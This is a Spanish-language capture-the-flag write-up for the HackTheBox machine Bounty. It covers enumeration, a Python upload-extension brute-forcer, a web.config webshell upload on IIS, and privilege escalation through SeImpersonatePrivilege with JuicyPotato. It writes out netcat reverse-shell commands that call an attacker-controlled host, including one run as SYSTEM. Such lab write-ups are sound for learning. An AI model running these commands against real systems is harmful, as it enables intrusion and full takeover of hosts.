Resumen
En esta ocasión estaremos resolviendo la máquina Bounty de la plataforma HackTheBox. Bounty es una máquina Windows de dificultad Easy en donde encontraremos una página web simple con una subida de archivos que nos permitirá ejecutar comandos utilizando un archivo con extension .config
. Una vez dentro podremos explotar el token SeImpersonatePrivilege para escalar privilegios.
Enumeración
Nmap
En esta fase utilizaremos los siguientes scripts personalizados.
nmap-scan.sh: Realiza SYN-SCAN a los 65535 puertos y deposita el output al archivo
allPorts.gnmap
nmap-services.sh: Lee y parsea un archivo “grepeable” de nmap obtiene IP y puertos para realizar un escaneo de servicios a estos últimos.
sudo nmap-scan.sh 10.129.130.45
nmap-services.sh allPorts.gnmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Nmap 7.92 scan initiated Mon Jun 6 17:11:22 2022 as: nmap -sCV -p80 -n -Pn -oN tcp-ports.nmap 10.129.130.45
Nmap scan report for 10.129.130.45
Host is up (0.14s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 7.5
|_http-server-header: Microsoft-IIS/7.5
|_http-title: Bounty
| http-methods:
|_ Potentially risky methods: TRACE
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jun 6 17:11:33 2022 -- 1 IP address (1 host up) scanned in 10.38 seconds
Solamente se detecta el puerto 80/tcp abierto.
Enumeración Web
Investigando la página web nos encontramos con una imagen de merlín y podemos identificar que estamos ante un servidor web IIS 7.5 como fué reportado anteriormente por nmap. Adicionalmente vemos que la web está construida con ASP.NET.
Sin mucho más que ver, procederemos a lanzar un escaneo de directorios con gobuster. Encontramos la ruta /UploadedFiles
a la cual no podremos acceder de momento.
Continuando, y sabiendo que el servidor trabaja con ASP.NET podríamos buscar archivos con extensión .asp
y .aspx
.
Se encuentra el archivo /transfer.aspx
el cual resulta ser un panel de subida de archivos.
Para hacer una prueba, he creado un archivo llamado “test.txt” y lo he subido. El servidor nos responde con el resultado: Invalid File. Please try again.
Si interceptamos la petición, podemos ver que aislado a nuestro archivo, la web está enviando por POST
otros tres parámetros.
__VIEWSTATE
__EVENTVALIDATION
btnUpload
Con esta información ya podemos empezar a crear un script en python3 que se encargue de chequear las extensiones válidas. Para esto utilizaremos el dicionario raft-medium-extensions-lowercase.txt perteneciente a SecLists.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/python3
from pwn import *
from tqdm import tqdm
import requests, signal
def def_handler(sig, frame):
print("\n[!] Exiting...")
sys.exit(1)
#CTRL + C
signal.signal(signal.SIGINT, def_handler)
upload_url = "http://10.129.130.45/transfer.aspx"
postData = {
"__VIEWSTATE" : "/wEPDwUKMTI3ODM5MzQ0Mg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRksqYUgKdyvg/NDIxFs0Vxctek1/A=",
"__EVENTVALIDATION" : "/wEWAgKZuIe3CALt3oXMA5mYEcMuakjG7239K1F3C/62+kJq",
"btnUpload" : "Upload"
}
allowedExt = []
p1 = log.progress("Testing extension")
with open("raft-medium-extensions-lowercase.txt", "r") as extensions:
for line in tqdm(extensions.readlines()):
extension = line.strip()
p1.status(extension)
myFile = {'FileUpload1': ('test{}'.format(extension), 'testing!')}
r = requests.post(upload_url, data=postData, files=myFile)
if 'Invalid File' not in r.text:
allowedExt.append(extension)
allowedExtStr = ' '.join(str(e) for e in allowedExt)
log.info("Allowed extensions: {}".format(allowedExtStr))
p1.success("Completed")
Como se puede apreciar en el script, el contenido de las variables
__VIEWSTATE
y__EVENTVALIDATION
se encuentran hardcodeados, esto es porque en esta web en particular estos valores no cambian, lo normal sería que fueran dinámicos y se deban capturar con expresiones regulares u otro método.
Ejecutamos upload.py
.
Al cabo de unos minutos obtendremos todas las extensiones válidas encontradas dentro del diccionario. De las encontradas .config
llama inmediatamente la atención. Según HackTricks es posible ejecutar comandos a través de un archivo con esta extensión.
Para esto, crearemos un archivo web.config
utilizando una webshell del repositorio PayloadAllTheThings y la subiremos a la máquina.
Consola como merlin
Para la intrusión, ya asumiendo que podemos ejecutar comandos, nos entablaremos una reverse shell utilizando nc.exe
compartido a través de smb. Para localizar el archivo, podemos intuir que este se encuentra en la ruta /uploadedFiles
encontrada anteriormente en la fase de enumeración.
Paralelamente tendremos:
- Un recurso compartido en smb llamado
shared
- Una sesión a la escucha de netcat por el puerto 443
Ejecutamos \\10.10.14.90\shared\nc.exe -e cmd 10.10.14.90 443
en la webshell y obtendremos una consola como el usuario merlin.
Consola como Admin
Ya una vez dentro, realizando una enumeración básica, podemos ver que el usuario merlin posee privilegio SeImpersonatePrivilege que nos permite ejecutar comandos como Administrador utilizando herramientas como JuicyPotato o PrintSpoofer.
Descargamos JuicyPotato.exe desde su repositorio en Github y lo transferimos a la máquina. Una vez con esto hecho, utilizaremos netcat nuevamente para obtener una nueva consola, esta vez como nt authority\system
.
JuicyPotato.exe -l 1337 -t * -p cmd.exe -a "/c \\10.10.14.90\shared\nc.exe -e cmd 10.10.14.90 1443"
Finalmente buscaremos las flags, la de root se encuentra sin problemas en la ubicación usual.
La flag del usuario podremos encontrarla con el commando attrib
o dir -Force
ya que se encuentra oculta.
Y eso sería todo para esta máquina.
¡Happy Hacking and keep grinding!
Recursos
- https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/iis-internet-information-services
- https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/
- Abusing Tokens - Hacktricks: https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens